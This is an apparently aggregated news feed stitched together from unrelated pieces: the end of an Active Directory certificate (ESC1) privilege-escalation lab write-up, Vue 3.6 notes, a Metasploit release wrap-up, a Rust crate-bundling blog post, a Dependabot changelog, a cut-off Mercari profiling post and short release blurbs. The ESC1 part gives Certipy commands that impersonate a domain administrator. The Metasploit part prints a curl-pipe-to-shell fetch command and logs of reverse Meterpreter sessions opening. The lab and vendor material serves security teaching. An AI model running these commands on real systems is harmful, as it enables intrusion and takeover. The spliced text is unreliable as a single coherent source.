certipy-ad req -u bob@lab.local -p 'Password@123' -ca lab-DC1-CA -template ESC1-Lab -upn Administrator@lab.local -dc-ip 192.168.56.104

Certipy successfully issued an Administrator certificate and saved it as:

administrator.pfx

Step 3 — Authenticate as Administrator

Finally, I authenticated using the issued certificate.

certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.56.104

Authentication succeeded, allowing me to impersonate the Domain Administrator without ever knowing the Administrator’s password.

Why Did This Work?

The certificate template was vulnerable to ESC1 because it:

• Allowed users to enroll.
• Allowed the requester to supply any UPN.
• Was trusted for client authentication.

This meant Bob could request a certificate for Administrator@lab.local and authenticate as that user.

How to Fix It

To prevent ESC1 attacks:

1.Disable “Supply in the request” unless absolutely necessary.

2. Restrict enrollment permissions to trusted users.

3. Review certificate templates regularly.

4. Remove unnecessary Client Authentication EKUs.

5. Audit AD CS with tools like Certipy and BloodHound.

Verify the Fix

Run the enumeration again.

certipy-ad find -u bob@lab.local -p 'password@123' -dc-ip 192.168.56.104 -vulnerable

If the template is properly secured, ESC1-Lab should no longer appear as vulnerable.

Key Takeaways

1. Regularly audit AD CS templates.

2. Follow the principle of least privilege.

3. Restrict certificate enrollment permissions.

4. Monitor certificate enrollment events.

Disclaimer: This article is part of my Active Directory Lab Series. All demonstrations were performed in my self-hosted GOAD lab for educational and defensive purposes. Never perform these techniques on systems without proper authorization.

— Written by

Aruvasaga Chithan A

Ethical Hacker & Cyber Security Researcher.

Thanks for reading — your support keeps me writing.
See you in the next article…

Linkedin.

How I Escalated to Domain Admin Using AD CS (And How to Fix It) was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

3.6 also includes a major refactor of @vue/reactivity based on alien-signals, which significantly improves the reactivity system's performance and memory usage.

For more details about Vapor Mode, see the About Vapor Mode section later in this release note.

Bug Fixes

• hydration: avoid resolving inherited fallback in forwarded slots (4c215b5)
• hydration: remove adopted SSR DOM for unresolved async setup (3859af4)
• runtime-vapor: avoid patching invalid VNode slot content (25f5a8a)
• runtime-vapor: clean up detached slot branches (b41009d)
• runtime-vapor: defer slot content anchors during hydration (9b9e4bd)
• runtime-vapor: preserve outer pending slot anchors (4af4bf9)
• runtime-vapor: preserve slot content anchors during mismatch recovery (26f90b5)
• runtime-vapor: preserve v-show transition on vdom child (#15074) (fe882c9), closes #15073
• runtime-vapor: preserve vapor slot owner during interop slot dry run (#15031) (340630e)
• runtime-vapor: preserve VNode anchors in dynamic component hydration (898e2ca)
• runtime-vapor: remove unsafe slot dry runs from vdom interop (#15089) (3d42cdf), closes #14793
• runtime-vapor: reuse hydration anchor candidates (06778e7)
• vapor: handle v-if and v-show on transition roots (#15069) (8f62f2e), closes #15068

About Vapor Mode

Vapor Mode is a new compilation mode for Vue Single-File Components (SFCs) with the goal of reducing baseline bundle size and improving performance.

It is 100% opt-in and supports a subset of existing Vue APIs with mostly identical behavior. Features that depend on VNodes or the component public instance proxy are not available in Vapor components.

Vapor Mode has demonstrated the same level of performance as Solid and Svelte 5 in third-party benchmarks.

General Stability Notes

Vapor Mode is feature-complete in Vue 3.6 RC. For now, we recommend using it in the following cases:

• Partial usage in existing apps, such as implementing a performance-sensitive page in Vapor Mode.
• Building small new apps entirely in Vapor Mode.

Opting In to Vapor Mode

Vapor Mode supports template-only SFCs and SFCs using <script setup>; the Options API is not supported. The following forms are supported:

<script setup vapor>
// ...
</script>

<script vapor> is shorthand for <script setup vapor>:

<script vapor>
// ...
</script>

The vapor marker can also be placed on the template, enabling Vapor compilation for the entire SFC:

<template vapor>
  <!-- ... -->
</template>

Creating an App and Using VDOM Interop

Pure Vapor Applications

Applications composed entirely of Vapor components can use createVaporApp():

import { createVaporApp } from 'vue'
import App from './App.vue'

createVaporApp(App).mount('#app')

Apps created this way avoid pulling in the Virtual DOM runtime code and allow the baseline bundle size to be drastically reduced.

Enabling VDOM Interop

To use Vapor components in a VDOM app instance created via createApp(), the vaporInteropPlugin must be installed:

import { createApp, vaporInteropPlugin } from 'vue'
import App from './App.vue'

createApp(App).use(vaporInteropPlugin).mount('#app')

A Vapor app instance can also install vaporInteropPlugin to allow VDOM components to be used inside, but this pulls in the VDOM runtime and offsets the benefits of a smaller bundle.

Components authored with render functions or JSX remain VDOM components and also require interop when used in a Vapor application.

When the interop plugin is installed, Vapor and non-Vapor components can be nested inside each other. This currently covers standard props, events, and slots usage, but does not yet account for all possible edge cases. For example, there may still be rough edges when using a VDOM-based component library in Vapor Mode.

In general, we recommend having distinct regions in an app where one rendering mode or the other is used, and avoiding mixed nesting as much as possible.

Feature Compatibility

By design, Vapor Mode supports a subset of existing Vue features. For the supported subset, we aim to deliver the same behavior according to the API specifications. The following features are currently unsupported or do not apply to Vapor Mode:

• Options API
• app.config.globalProperties
• getCurrentInstance() returns null in Vapor components
• @vue:xxx per-element lifecycle events
• v-memo
• Component template refs do not expose properties such as $el, $props, $attrs, $slots, and $refs

Important Usage Considerations

Event Delegation and stopPropagation()

Vapor delegates eligible events to document. Each element stores its own handler, and a single document listener walks the event path and invokes matching handlers.

If any ancestor calls stopPropagation(), the event never reaches document, and the delegated handler will not run.

The following forms bypass delegation and attach the listener directly to the element:

<button @[event]="onClick" />
<button v-bind="{ onClick }" />
<button v-on="{ click: onClick }" />

slots.default() Is Not a Safe Dry Run

In Vapor, slots.default() is not a side-effect-free inspection API. Calling it executes the slot's rendering logic, which may create Blocks and DOM nodes, register reactive effects, and claim existing SSR DOM during hydration.

Do not call a slot to inspect its output before deciding what else to render:

<script setup vapor>
import { useSlots } from 'vue'

const slots = useSlots()
const content = slots.default?.()
const showFallback = !content
</script>

<template>
  <div v-if="showFallback">Fallback</div>
</template>

Instead, leave slot rendering to the template:

<template>
  <slot />
</template>

Custom Directives Use a Different Interface

Custom directives in Vapor also have a different interface:

type VaporDirective = (
  node: Element | VaporComponentInstance,
  value?: () => any,
  argument?: string,
  modifiers?: DirectiveModifiers,
) => (() => void) | void

value is a reactive getter that returns the binding value. Reactive effects can be set up using watchEffect() and are automatically released when the component unmounts. A directive may also return a cleanup function:

const MyDirective = (el, source) => {
  watchEffect(() => {
    el.textContent = source()
  })
  return () => console.log('cleanup')
}

Behavior Consistency

Vapor Mode attempts to match VDOM Mode behavior as much as possible, but minor inconsistencies may still exist in edge cases because the two rendering modes are fundamentally different. In general, a minor inconsistency is not considered a breaking change unless the behavior has previously been documented.

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

While the Metasploit Framework will be continuing its weekly release cadence, bringing you dear reader our latest content, the Weekly Wrap Up is being shifted to a bi-weekly cadence. The team is planning to use the additional time between posts to record demos of some of the more exciting content. Stay tuned for the next generation of Metasploit Wrap Ups and be sure to subscribe to the RSS Feed to be alerted when new blogs are released.

Fetch Multi: Just Fetch and Forget?

Our very own bwatters-r7 continued to enhance our Fetch Payloads implementation. This time adding a new Linux Fetch Multi payload family that supports on-the-fly Linux architecture identification. Standard Fetch payloads produce a command that will download and execute a specific binary payload on a target, but the new Linux Fetch Multi family will report the architecture of the target host when it requests the payload, and the handler will automatically serve the correct elf architecture payload for the given target. It means that if a user is exploiting a Linux host, they do not need to guess the target’s architecture when selecting a payload. It also means that one payload and one handler can serve across multiple targets of differing architectures. Since these payloads work by adding a query string, only HTTP and HTTPS-based fetch payloads support Fetch Multi payloads.

Here is an example of the same payload and handler identifying and delivering the proper elf architecture payloads to a mipsel host, a mips64 host, and an aarch64 host by just executing the command curl -s http://10.5.135.210:8080/x|sh on each target.

msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) > show options
Module options (payload/cmd/linux/http/multi/meterpreter_reverse_tcp):
   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   FETCH_COMMAND   CURL             yes       Command to fetch payload (Accepted: CURL, FTP, GET, TFTP, TNFTP,
                                               WGET)
   FETCH_DELETE    false            yes       Attempt to delete the binary after execution
   FETCH_FILELESS  none             yes       Attempt to run payload without touching disk by using anonymous
                                              handles, requires Linux ≥3.17 (for Python variant also Python ≥3
                                              .8, tested shells are sh, bash, zsh) (Accepted: none, python3.8+
                                              , shell-search, shell)
   FETCH_SRVHOST                    no        Local IP to use for serving payload
   FETCH_SRVPORT   8080             yes       Local port to use for serving payload
   FETCH_URIPATH   x                no        Local URI to use for serving payload
   LHOST           10.5.135.210     yes       The listen address (an interface may be specified)
   LPORT           4444             yes       The listen port
   When FETCH_COMMAND is one of CURL,GET,WGET:
   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   FETCH_PIPE  true             yes       Host both the binary payload and the command so it can be piped dire
                                          ctly to the shell.
   When FETCH_FILELESS is none:
   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   FETCH_FILENAME      cldOGvRDplZ      no        Name to use on remote system when storing payload; cannot co
                                                  ntain spaces or slashes
   FETCH_WRITABLE_DIR  ./               yes       Remote writable dir to store payload; cannot contain spaces
View the full module info with the info, or info -d command.
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) > to_handler
[*] Command to execute on target: curl -s http://10.5.135.210:8080/x|sh
[*] Payload Handler Started as Job 0
[*] Fetch handler listening on 10.5.135.210:8080
[*] HTTP server started
[*] Adding resource /csmCra8lnQTHxFXkipQC0w
[*] Adding resource /x
[*] Started reverse TCP handler on 10.5.135.210:4444 
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) > [*] Client 10.5.132.212 requested /x
[*] Sending payload to 10.5.132.212 (curl/8.13.0-rc3)
[*] Client 10.5.132.212 requested /csmCra8lnQTHxFXkipQC0w?arch=armv7l
[*] Sending payload to 10.5.132.212 (curl/8.13.0-rc3)
[*] Dynamic Payload Detected, expecting a Query String in the request...
[*] Building payload for armle arch
[*] Meterpreter session 1 opened (10.5.135.210:4444 -> 10.5.132.212:45068) at 2026-07-14 11:33:18 -0500
[*] Client 10.5.132.214 requested /x
[*] Sending payload to 10.5.132.214 (curl/8.11.0)
[*] Client 10.5.132.214 requested /csmCra8lnQTHxFXkipQC0w?arch=aarch64
[*] Sending payload to 10.5.132.214 (curl/8.11.0)
[*] Dynamic Payload Detected, expecting a Query String in the request...
[*] Building payload for aarch64 arch
[*] Meterpreter session 2 opened (10.5.135.210:4444 -> 10.5.132.214:39894) at 2026-07-14 11:33:26 -0500
[*] Client 10.5.132.224 requested /x
[*] Sending payload to 10.5.132.224 (curl/7.52.1)
[*] Client 10.5.132.224 requested /csmCra8lnQTHxFXkipQC0w?arch=mips64
[*] Sending payload to 10.5.132.224 (curl/7.52.1)
[*] Dynamic Payload Detected, expecting a Query String in the request...
[*] Building payload for mips64 arch
[*] Meterpreter session 3 opened (10.5.135.210:4444 -> 10.5.132.224:53506) at 2026-07-14 11:33:41 -0500
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) > sessions -C sysinfo
[*] Running 'sysinfo' on meterpreter session 1 (10.5.132.212)
Computer     : kali-raspberrypi
OS           : Debian  (Linux 5.15.44-Re4son-v7+)
Architecture : armv7l
BuildTuple   : armv5l-linux-musleabi
Meterpreter  : cmd/linux
[*] Running 'sysinfo' on meterpreter session 2 (10.5.132.214)
Computer     : kali-raspberrypi
OS           : Debian  (Linux 5.15.44-Re4son-v8l+)
Architecture : aarch64
BuildTuple   : aarch64-linux-musl
Meterpreter  : cmd/linux
[*] Running 'sysinfo' on meterpreter session 3 (10.5.132.224)
Computer     : ubnt
OS           : Debian 9.13 (Linux 4.9.79-UBNT)
Architecture : mips64
BuildTuple   : mips64-linux-muslsf
Meterpreter  : cmd/linux
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) >

RISC architecture is going to change everything!

Speaking of juggling multiple architectures, bcoles added support for yet another IoT arch: RiscV. The change adds staged and stageless shell payloads for both 32- and 64-bit RiscV systems, and dovetails well with his other PR adding XOR encoders for RiscV payloads.

New module content (4)

Microsoft Windows HTTP to SMB Relay

Author: jheysel-r7

Type: Auxiliary

Pull request: #21620 contributed by jheysel-r7

Path: server/relay/http_to_smb

Description: Adds an HTTP to SMB Relay server module allowing users to relay an incoming NTLM HTTP authentication request to multiple SMB servers in order to establish SMB session on the target hosts to be used by the framework.

Byte XORi Encoder

Author: bcoles bcoles@gmail.com

Type: Encoder

Pull request: #21235 contributed by bcoles

Path: riscv32le/byte_xori

Description: Add four encoder variants for both RISC-V 32-bit and 64-bit little-endian architectures.

FTP, HTTP, HTTPS and METERPRETER_REVERSE_TCP Fetch, Linux Chmod

Authors: Brendan Watters, Spencer McIntyre, and bcoles bcoles@gmail.com

Type: Payload (Adapter)

Pull request: #21384 contributed by bwatters-r7

Description: Adds Linux fetch multi payloads, a fetch server for FTP-based fetch payloads, a TFTP server to rex/proto to align with our other servers.

This adapter adds 421 new payloads for all Linux and Windows architectures including:

• cmd/linux/ftp/aarch64/chmod
• cmd/linux/ftp/x86/meterpreter/reverse_tcp
• cmd/windows/ftp/aarch64/meterpreter_reverse_http

FTP Fetch, Linux dup2 Command Shell, Bind TCP Stager

Authors: Brendan Watters, Spencer McIntyre, and bcoles bcoles@gmail.com

Type: Payload (Stager)

Pull request: #21237 contributed by bcoles

Description: Adds reverse_tcp and bind_tcp stagers and a shell command stage for both RISC-V 64-bit and 32-bit little-endian Linux targets.

• cmd/linux/ftp/riscv32le/shell/bind_tcp
• cmd/linux/http/riscv32le/shell/bind_tcp
• cmd/linux/https/riscv32le/shell/bind_tcp
• cmd/linux/tftp/riscv32le/shell/bind_tcp
• linux/riscv32le/shell/bind_tcp
• cmd/linux/ftp/riscv32le/shell/reverse_tcp
• cmd/linux/http/riscv32le/shell/reverse_tcp
• cmd/linux/https/riscv32le/shell/reverse_tcp
• cmd/linux/tftp/riscv32le/shell/reverse_tcp
• linux/riscv32le/shell/reverse_tcp
• cmd/linux/ftp/riscv64le/shell/bind_tcp
• cmd/linux/http/riscv64le/shell/bind_tcp
• cmd/linux/https/riscv64le/shell/bind_tcp
• cmd/linux/tftp/riscv64le/shell/bind_tcp
• linux/riscv64le/shell/bind_tcp
• cmd/linux/ftp/riscv64le/shell/reverse_tcp
• cmd/linux/http/riscv64le/shell/reverse_tcp
• cmd/linux/https/riscv64le/shell/reverse_tcp
• cmd/linux/tftp/riscv64le/shell/reverse_tcp
• linux/riscv64le/shell/reverse_tcp

Enhancements and features (4)

• #21235 from bcoles - Add four encoder variants for both RISC-V 32-bit and 64-bit little-endian architectures.
• #21384 from bwatters-r7 - Adds Linux fetch multi payloads, a fetch server for FTP-based fetch payloads, a TFTP server to rex/proto to align with our other servers.
• #21599 from Pushpenderrathore - This extends CertificateTrace functionality to also surface the server's TLS peer certificate when an HTTP module connects over HTTPS. This makes use of the same CertificateTrace enum (off/metadata/full) operators are already familiar with.
• #21602 from zeroSteiner - Updates the Windows service PE template to use an injected segment instead of the old substitution method.

Bugs fixed (4)

• #21621 from eipoverflow - This fix a limitation on running fileless staged Meterpreter in recent OSX versions.
• #21670 from zeroSteiner - Marks the dynamic XOR encoders as unable to preserve registers and adds regression coverage for stage encoding when a preserved register is required.
• #21675 from sjanusz-r7 - Fix search_cache job cache generation by skipping multi arch payloads.
• #21677 from bwatters-r7 - Fixes a bug in the HTTP relay server mixin where requests matching the module's URIPATH were silently dropped instead of being relayed The fix removes the now-unnecessary URIPATH option, ensures all requests are properly relayed, and adds spec tests to cover the fix.

Documentation

You can find the latest Metasploit documentation on our docsite at docs.metasploit.com.

Get it

As always, you can update to the latest Metasploit Framework with msfupdate and you can get more details on the changes since the last blog post from GitHub:

• Pull Requests 6.4.143...6.4.144
• Full diff 6.4.143...6.4.144

If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest. To install fresh without using git, you can use the open-source-only Nightly Installers or the commercial edition Metasploit Pro

This blog post describes an idea I’ve been kicking around called battery packs. Battery packs are a curated set of crates arranged around a common theme. For example, there’s a CLI battery pack that has everything you need to build a great CLI, an opinionated pack for creating a backend web service, and one for embedded development (based on the Embedded Working Group’s Awesome Rust repository). We’ve also got some smaller ones, such as the error-handling battery pack that shows how to handle errors in Rust. But this is just the beginning – a key part of the battery pack design is that anybody can create one.

Battery packs are meant to address one of the most common things I hear from new Rust adopters. Everyone loves the wealth of high-quality crates available on crates.io. And everyone hates having to spend a bunch of time researching and comparing alternatives. Battery packs can serve as a good set of default choices. And they don’t lock you in. At heart, they’re basically just a list of recommended crates, so you can always swap something out if you find an alternative.

We’ve got a prototype of the battery pack tool working today, so you can try it out if you’re curious. Just run cargo install cargo-bp and then try a few commands! For example,

> cargo bp list

will show you the set of available battery packs, based on a crates.io search (as I’ll explain below, a battery pack is itself packaged and distributed as a crate, but not one that you take a direct dependency on). And cargo bp add will add batteries from a battery pack into your crate, so e.g.

> cargo bp add cli

would let you select and add common CLI libraries. If you want to see a more involved demo, try out cargo bp add embedded, which is derived from the Awesome Embedded Rust repository.

Let’s talk about you and me

One of the key ideas from battery packs is that anybody can publish one. They are just a crate named X-battery-pack; the dependencies of that crate are your recommendations. Features are designations of common sets of crates frequently used together. The examples are your templates. And so forth.

Letting anybody create a battery pack is in contrast to the previous ideas for an “extended standard library for Rust”¹, and it is intended to address some of Rust’s unique challenges. For one thing, it lets people publish battery packs that are tailored to specific requirements. For example, the CLI and backend service battery packs are targeting a “typical computer”. But I could imagine the Rust embedded working group publishing a battery pack with libraries focused on no-std and binary size optimization.

Being open-ended also addresses the “who decides?” question. To my mind, the best people to recommend what libraries you ought to use are other people building systems like yours. This is why I mentioned the Embedded Working Group publishing an Embedded battery pack, for example, as I think they are clearly a set of people who know their space well. But even within the embedded space there are yet smaller groups, and I imagine that sometimes it’ll make sense to get narrower. For example, perhaps a battery pack targeted embassy and its associated ecosystem? Unclear.

Creating a battery pack

If you wanted to create a battery pack, how do you do it? One answer is that you just create a new crate. But a better approach is to use the “battery-pack battery pack”², which bundles a template:

cargo bp new battery-pack

This will prompt you for the name of the battery pack you want to create and a few other things and make your crate. Then you can just use cargo add dependencies to represent the libraries you want to recommend and publish.

“Batteries” are more than dependencies

The “batteries” that you can add to your project aren’t always dependencies. They can also be “recipes” or templates. For example, the CI battery pack³ can configure your project with the kind of “super neat-o” github actions you’ve always wanted but never wanted to bother configuring. To use it, select one or more of the templates to install:

cargo bp add ci

I expect this kind of “actions to improve your crate” to become a rich source of things. Right now we’re using a relatively lightweight template system built on minijinja, but I think we’re going to want to expand on this.

Giving it some structure

Battery Packs also support more than just a flat listing of dependencies/features/templates. You can group dependencies and features into categories and then, for each category, distinguish between “pick at most one” or “pick any number”. For a fun example, try cargo bp add embedded, which is derived from the Awesome Embedded Rust repository. If you run it, you’ll see something like this, which groups the choices thematically and, in some areas like “concurrency framework”, makes it clear that you want to pick one:

──────────────────────────────────────────────────────────────────
 ▼ Concurrency Framework (pick at most one)
 > ○ ✦ embassy [embassy-executor, embassy-sync, embassy-time]
   ○ ✦ rtic [cortex-m, rtic]    RTIC — interrupt-driven real-time

 ▼ Display & Graphics (pick any number)
   [ ] ✦ display-ssd1306 [embedded-graphics, ssd1306]    SSD1306
   [ ] ✦ display-st7789 [embedded-graphics, st7789]    ST7789 col

 ▼ Popular Drivers (pick any number)
   [ ] ✦ display-ssd1306 [embedded-graphics, ssd1306]    SSD1306
   [ ] ✦ display-st7789 [embedded-graphics, st7789]    ST7789 col
   [ ] ✦ sensor-bme280 [bme280]    BME280 temperature/humidity/pr
   [ ] ✦ sensor-lis3dh [lis3dh]    LIS3DH 3-axis accelerometer (I
   [ ] ✦ usb-device [usb-device, usbd-serial]    USB device stack

 ▼ Hardware Abstraction Layer (pick at most one)
   ○ ✦ atsamd [atsamd-hal, cortex-m-rt, critical-section-impl, co
   ○ ✦ esp32 [embedded-hal, esp-hal]    ESP32 (Xtensa, WiFi + BT,
   ○ ✦ esp32c3 [embedded-hal, esp-hal]    ESP32-C3 (RISC-V, WiFi
   ○ ✦ esp32s3 [embedded-hal, esp-hal]    ESP32-S3 (Xtensa, WiFi
   ○ ✦ nrf52832 [cortex-m-rt, critical-section-impl, cortex-m, em
   ○ ✦ nrf52840 [cortex-m-rt, critical-section-impl, cortex-m, em
   ○ ✦ nrf9160 [cortex-m-rt, critical-section-impl, cortex-m, emb
   ○ ✦ rp2040 [cortex-m-rt, critical-section-impl, cortex-m, embe
   ○ ✦ stm32f0 [cortex-m-rt, critical-section-impl, cortex-m, emb
 embedded-battery-pack v0.1.0  ↑↓/jk Navigate | Space Toggle | ←/→

Let’s talk about all the good things…

So why am I so keen on battery packs? It’s largely because I’ve heard so many would-be or recent Rust adopters talk about picking crates as a challenge. But I feel they would help with some other problems as well.

What I really want to see is working groups in the Rust Commercial Network banding together to publish battery packs and recommendations. These would cover the dependencies that they’re actually using.

Supporting maintainers

One of the reasons I want to have RCN-recognized battery packs is that they are a natural focal point to then prompt RCN members to fund the maintenance of those crates. I am imagining that for each sponsored battery pack vended within the RCN, there is an associated “ecosystem fund”. Companies or individuals could sponsor this fund to get access to early patches, security disclosures, etc or other perks. The money would be used to support the maintainers of those crates, to implement missing features, and so forth.

Fostering interoperability

Another value-add from battery packs is the ability to drive interop efforts. I think that as soon as we start talking about standardizing, we’re also going to recognize that there are some places where standardization is hard. For example, early conversations within the network service working group (unsurprisingly) immediately identified that while most people are using tokio, some major companies are using their own runtimes internally. It’s not like the need for “async runtime interop” is news. But right now, every crate winds up effectively implementing their own set of little traits to make it work. Sponsored battery packs offer the possibility of a neutral home for that sort of thing.

…and the bad things that could be

There are some risks to people using battery packs. The most obvious is that the fact that anybody can publish a battery pack may mean that you just get a ton of battery packs, which doesn’t really help anybody! I’m not so worried about this because I think that there will be a few obvious places that most people go first, and then I think once people are oriented, they’ll get excited to explore what crates.io has to offer and start discovering more niche battery packs.

Avoiding stagnation

Battery packs are designed to evolve. I’ve seen it happen a number of times that there is a dominant crate for something, often taking a “traditional approach”, but then somebody else comes along and presents an interesting alternative that gradually takes off. I love that and I don’t want to put it at risk.

One example of evolution around CLI argument parsing. For a time, docopt was a popular way to parse command-line options. Then clap came along and presented a more structured alternative; that was nice, but then structopt came along and connected clap to an auto-derive, so you could just write your data structure and be done. And that was awesome. (That is now the standard in clap.) I want to be sure that, even if there is a CLI battery pack, there’s room for the next clap to come along.

There are a few things about battery pack that I think will help us deal with this. First, they are a “thin abstraction”. You don’t “depend on” a battery pack, you depend on the crates within it. So if a new version comes out that uses clap instead of docopt, that doesn’t impact you at all. Your code keeps working same as it ever did. And of course it helps that anybody can publish a battery pack. You can now have variations on battery packs that are focused around a new approach to help it get started.

Done right, I think that standardized battery packs can also help the ecosystem evolve and pivot. As it is now, knowledge of new crates has to spread by word-of-mouth. But if everybody is aligned around a new approach, adopting that new approach within a battery packs sends a clear signal that your group is aligned that something is the new hotness.

…Let’s talk about crates⁴

“Always bet on the ecosystem”

I see always bet on the ecosystem as a key Rust design axiom. It’s the reason we chose a small standard library and a package manager in the first place. It’s also why battery packs are designed to be published by anyone.

But just like plants sometimes need a trellis to grow taller, any successful ecosystem reaches a point where it needs another layer of structure to help it keep growing. Without that, you have this “layer of tacic knowledge” (in the words of a Rust Vision Doc interviewee) that becomes an obstacle for folks. And I think we’ve reached that point with crates.io.

I am hopeful that battery packs can provide that next layer of structure. But at the end of the day, if there’s a better approach, that’s fine too, so long as we find a way to help people find (and fund!) the crates they need. So let’s talk about it!

Read the original post: Gemini Now Connects to Canva in Google Search

• Capture offending gem details on bundler registry metadata errors by @kbukum1 in #15512
• Bundler: apply empty-checksum metadata patch to the v2 helper by @kbukum1 in #15513
• [Update graph] Ensure bystander txt files are removed before parsing for Python by @brrygrdn in #15508
• Handle global.json with no SDK version in dotnet_sdk parser by @brettfo in #15510
• Type the cargo ecosystem and remove it from the T.untyped burndown by @JamieMagee in #15492
• Type the conda ecosystem and remove it from the T.untyped burndown by @JamieMagee in #15493
• Type the docker ecosystem and remove it from the T.untyped burndown by @JamieMagee in #15495
• Use shared git-tag cooldown in terraform by @robaiken in #15472
• Retry corepack once on signature metadata error by @thavaahariharangit with @Copilot in #15466
• Type the deno, elm, devcontainers, bazel, and helm ecosystems by @JamieMagee in #15527
• Add word-separator and lowercase formatting for branch name by @AbhishekBhaskar in #15478
• Fix Docker cooldown not respected for multi-arch images missing Last-Modified by @robaiken with @Copilot in #15486
• Reduce redundant git-source probes during npm metadata resolution by @thavaahariharangit with @Copilot in #15480
• Type the maven ecosystem and remove it from the T.untyped burndown by @JamieMagee in #15531
• Add branch name config template format support with validation by @AbhishekBhaskar in #15535
• fix(gradle): prefer local gradlew for lockfile updates by @thavaahariharangit in #15546
• helm: support versioning-strategy (range-preserving updates) by @casey-robertson-paypal in #15218
• Bump gradle from 9.4.1-jdk21-ubi to 9.6.1-jdk21-ubi in /gradle by @dependabot[bot] in #15498
• [Update graph] Add support for requirements.txt 'layering' instead of compressing to a single file by @brrygrdn in #15521
• Allow periods in Helm values file names for Docker ecosystem by @telnet23 in #15557
• Match existing group PRs covering a subset of job directories by @IanButterworth in #15548
• Bump library/golang from 1.26.1-bookworm to 1.26.5-bookworm in /go_modules by @dependabot[bot] in #15562
• Fix npm security updates for transitive dependencies in workspace monorepos by @Swampen in #15514
• Add helm to the smoke-test matrix by @casey-robertson-paypal in #15554
• v0.386.0 by @dependabot-core-action-automation[bot] in #15564

New Contributors

• @telnet23 made their first contribution in #15557
• @Swampen made their first contribution in #15514

Full Changelog: v0.385.0...v0.386.0

Editor’s note: For retailers, predicting consumers’ desires and demand is the holy grail. For retail IT, the goal is understanding the performance of your ecommerce applications. Here, Japanese online retailer Mercari shows how they used Cloud Profiler and Trace to understand a complex microservices-based application running on Google Cloud, to meet rigorous SLOs as demand shifts for their products. 

The events of 2020 have accelerated ecommerce, increasing demand for and traffic on online marketplaces. Analyst eMarketer predicts that ecommerce sales in the United States will grow 18% in 2020, against an overall fall in total retail sales of 10.5% for the year. Likewise, our business—Japan-headquartered consumer-to-consumer marketplace Mercari Inc—is growing rapidly. In the United States alone, we have seen 74% year-on-year growth in monthly average users to 3.4 million. A big part of our success are our robust payment and deposit systems and AI-based fraud monitoring, which enable sellers to list items for purchase and buyers to complete transactions safely. 

Mercari started as a monolithic application but as complexity grew we decided to transition to a microservices architecture. And through it all, tools like Cloud Profiler and Cloud Trace helped us track down performance problems in our code, significantly improving latency.

A microservices menagerie

Today, we run 80+ microservices on Google Cloud with a mix of languages including Go, Python, JavaScript and Java. To deliver this new architecture, we created a gateway-like microservice to route traffic from soon-to-be migrated monolithic service to the Google Cloud microservices, which  delivers a range of features. 

After creating several microservices, we identified common requirements and created a template to accelerate their development. These common requirements included: 

• Exporting metrics to Prometheus

• A gRPC server and interceptors

• Error Reporting, Cloud Trace and Cloud Profiler. Error Reporting counts, analyzes and aggregates crashes in running cloud services, while Cloud Trace provides a view of requests as they flow through microservices and Cloud Profiler shows how microservices consume CPU, memory and threads.  

We then used Python to create a template for machine learning services, also expediting the creation of new microservices. This has enabled us to grow the number of microservices we use in order to address new requirements. However, as our microservices proliferated, we needed to efficiently monitor and understand their performance. 

Maintaining SLO a challenge

In particular, we needed to monitor the impact of new versions on the production environment and the efficiency of production operations, so we could maintain our service level objective (SLO) for success rates of 99.95% and 350 milliseconds for 95% latency. 

Our engineering team also uses canary deployments to detect issues with new versions of major services. However, despite applying these measures, we found it challenging to maintain our SLO when our business grew faster than expected or during unanticipated spikes in demand. Some issues can be obvious or easy to detect. For example, if a service is experiencing high CPU utilization, we could simply place or fine tune our horizontal pod autoscaler (HPA) to resolve the problem. However, other issues may be less obvious. For example, a drop in performance may not directly be tied to a specific release—it may instead be due to unexpected requests, or may arise from changes to multiple functions in a single code release. 

Using Cloud Profiler and Cloud Trace to minimize performance issues

In particular, our business-critical UserStats service, which tracks the speed with which a user replies to a message and how fast and reliably a seller ships an item, recently started performing poorly. 

New feature requirements had prompted us to track how often a seller cancels an order and provide statistics. However, while adding this new functionality, the change refactored other functions, meaning we were unable to identify the function experiencing reduced performance. Since most of our services are enabled with Cloud Profiler and Cloud Trace, we turned to these products to investigate and identify the root cause.  

Before the change:

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We're releasing our Soft Skills for the Job Market course all FREE on YouTube! This course can also be found in the TCM Security Academy.

Module Three of the Soft Skills course focuses on applying for jobs. We know that this process can be tedious, but hopefully the points made in this module will help you out while sending out applications, researching potential employers, and overall putting your best foot forward. You've got this!

Get a copy of the TCM Security resume template to help you in your job searching journey: https://www.tcm.rocks/resume-template

More modules will be dripped out in the near future! Stay tuned.

Watch the other modules: https://www.tcm.rocks/soft-skills-playlist

#freecourse #jobsearch #applicationletter #cybersecuritycareers #cybersecurity

Sponsor a Video: https://www.tcm.rocks/Sponsors
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You can see a partial list of the changes in the Git log. For details on new features, check out the Chromium blog, and for details on web platform updates, check here.

If you find a new issue, please let us know by filing a bug.

Chrome Release Team
Google Chrome

You can see a partial list of the changes in the Git log. If you find a new issue, please let us know by filing a bug.

Chrome Release Team
Google Chrome

You can see a partial list of the changes in the Git log. For details on new features, check out the Chromium blog, and for details on web platform updates, check here.

If you find a new issue, please let us know by filing a bug.

Chrome Release Team
Google Chrome

Read more →

The post Chinese-Funded Interpol Cybercrime Crackdown Leads to 5,800 Arrests appeared first on IT Security News.

This Week in Rust is openly developed on GitHub and archives can be viewed at this-week-in-rust.org. If you find any errors in this week's issue, please submit a PR.

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Updates from Rust Community

Official

• Maintainer spotlight: Gen Li (@rami3l)
• Together for a healthier Clippy

Newsletters

• The Embedded Rustacean Issue #75

Project/Tooling Updates

• copper-rs v1.0.0: the open source deterministic robotics OS is now stable.
• Rayfish: Your own private network. No servers, no setup.
• rama v0.3.0 — network service framework ready to be used by the wider Rust community
• kache 0.9.0: supply-chain hardening + read-only CI cache
• GuardianDB - PostgreSQL and P2P/Local-First Together
• Nectar: a Rust-like language that compiles your whole web app to WebAssembly
• logdrain: Fast, Embeddable Log-Template Mining in Rust
